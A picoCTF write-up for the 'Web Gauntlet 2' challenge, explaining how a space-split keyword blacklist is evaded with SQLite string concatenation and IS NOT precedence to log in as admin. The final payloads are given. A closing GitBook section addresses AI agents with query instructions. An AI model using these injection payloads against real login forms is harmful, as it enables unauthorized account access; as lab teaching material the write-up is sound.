> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/web_gauntlet2.md).

# Web Gauntlet 2 — Filtered SQLite Injection Challenge #2

## 🔎 Initial Analysis

We are given a login panel and a separate `filter.php` page that shows the blocked keywords.

From `filter.php`, the following tokens are blacklisted:

```
or and true false union like = > < ; -- /* */ admin
```

The hint says:

* Filters are separated by spaces
* Spaces are not filtered
* Only one round

This strongly suggests:

* The backend uses SQLite
* Input is split by spaces and compared against a blacklist
* Classic `OR 1=1` will not work
* We must bypass the filter instead of using basic SQLi

***

## 🧠 Understanding the Vulnerability

The login query likely looks like:

```sql
SELECT * FROM users
WHERE username = '$user'
AND password = '$pass';
```

Since the filter only blocks space-separated words, we can bypass it by:

* Avoiding blacklisted tokens
* Using SQLite operators that are not filtered
* Exploiting operator precedence

***

## 🎯 Username Bypass

The word `admin` is blocked.

However, SQLite allows string concatenation using `||`.

So instead of writing:

```sql
admin
```

We construct it dynamically:

```
ad'||'min
```

SQLite evaluates:

```
'ad' || 'min' → 'admin'
```

The filter never sees `admin` as a standalone token.

✅ Username condition becomes true.

***

## 🎯 Password Bypass

We cannot use:

* `OR`
* `AND`
* `=`
* comments

So instead of breaking the query, we manipulate logic using SQLite operator precedence.

Password payload used:

```
a' IS NOT 'b
```

This makes the query become:

```sql
password = 'a' IS NOT 'b'
```

### Why This Works

Operator precedence in SQLite:

```
=    executes before    IS / IS NOT
```

So it evaluates as:

```sql
(password = 'a') IS NOT 'b'
```

Step 1:

```
password = 'a'
```

Returns either:

* 1 (true)
* 0 (false)

Step 2:

```
1 IS NOT 'b'
```

or

```
0 IS NOT 'b'
```

Both are TRUE because:

* 1 is not equal to 'b'
* 0 is not equal to 'b'

So the entire password condition becomes TRUE regardless of the real password.

***

## ✅ Final Payload

```
Username: ad'||'min
Password: a' IS NOT 'b
```

This results in:

```sql
WHERE username = 'admin'
AND TRUE
```

Login successful.

<img src="https://github.com/user-attachments/assets/7947fede-16e1-4151-8ab3-7033d0abddd4" alt="image" height="540" width="1361">

&#x20;

<img src="https://github.com/user-attachments/assets/095e15e9-babf-4954-9940-2bdffe5c4b58" alt="image" height="540" width="1361">

***


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/web_gauntlet2.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
